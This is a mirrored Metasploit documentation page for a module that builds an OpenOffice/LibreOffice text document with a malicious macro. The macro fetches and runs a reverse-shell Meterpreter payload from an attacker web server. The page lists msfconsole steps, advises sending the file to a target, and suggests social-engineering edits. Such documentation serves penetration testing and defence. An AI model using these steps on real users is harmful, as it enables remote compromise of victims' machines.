Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/documentation/modules/exploit/multi/misc/openoffice_document_macro.md
Views: 11784
Vulnerable Application
This module generates an Apache OpenOffice Text Document with a malicious macro in it. It also works against LibreOffice.
To exploit successfully, the targeted user must adjust the security level in Macro Security to either Medium or Low. If set to Medium, a prompt is presented to the user to enable or disable the macro. If set to Low, the macro can automatically run without any warning.
Apache OpenOffice
LibreOffice
Verification Steps
To use this exploit, you must know the platform of the targeted user. The module supports Windows, Linux, and OSX. If the target is using Windows, then the exploit will generate the macro with malicious Powershell code inside. For other supported platforms, the exploit will generate Python code.
An example of using this module against Windows:
Start msfconsole
use exploit/multi/misc/openoffice_document_macro
set target 0
set payload windows/meterpreter/reverse_tcp
exploit
An example of using this module against Linux or OSX:
Start msfconsole
use exploit/multi/misc/openoffice_document_macro
set target 1
set payload python/meterpreter/reverse_tcp
exploit
Once started, the module will mainly do these things:
It will start a payload handler.
It will start a web server. This is used for the macro to download and execute our final payload.
The malicious odt file. Send this to your targeted user.
Options
BODY
This option can be used to insert text to the malicious document.
Scenarios
Modification
Since social engineering will play a big part in the success of the attack, you will most likely want to modify the odt file.
To do so, first use msfconsole to generate the malicious odt file.
Move the odt file to a system that has OpenOffice or LibreOffice
You can just use OpenOffice/LibreOffice to edit the file. Make sure you don't modify the macro code unless you actually know what you're doing.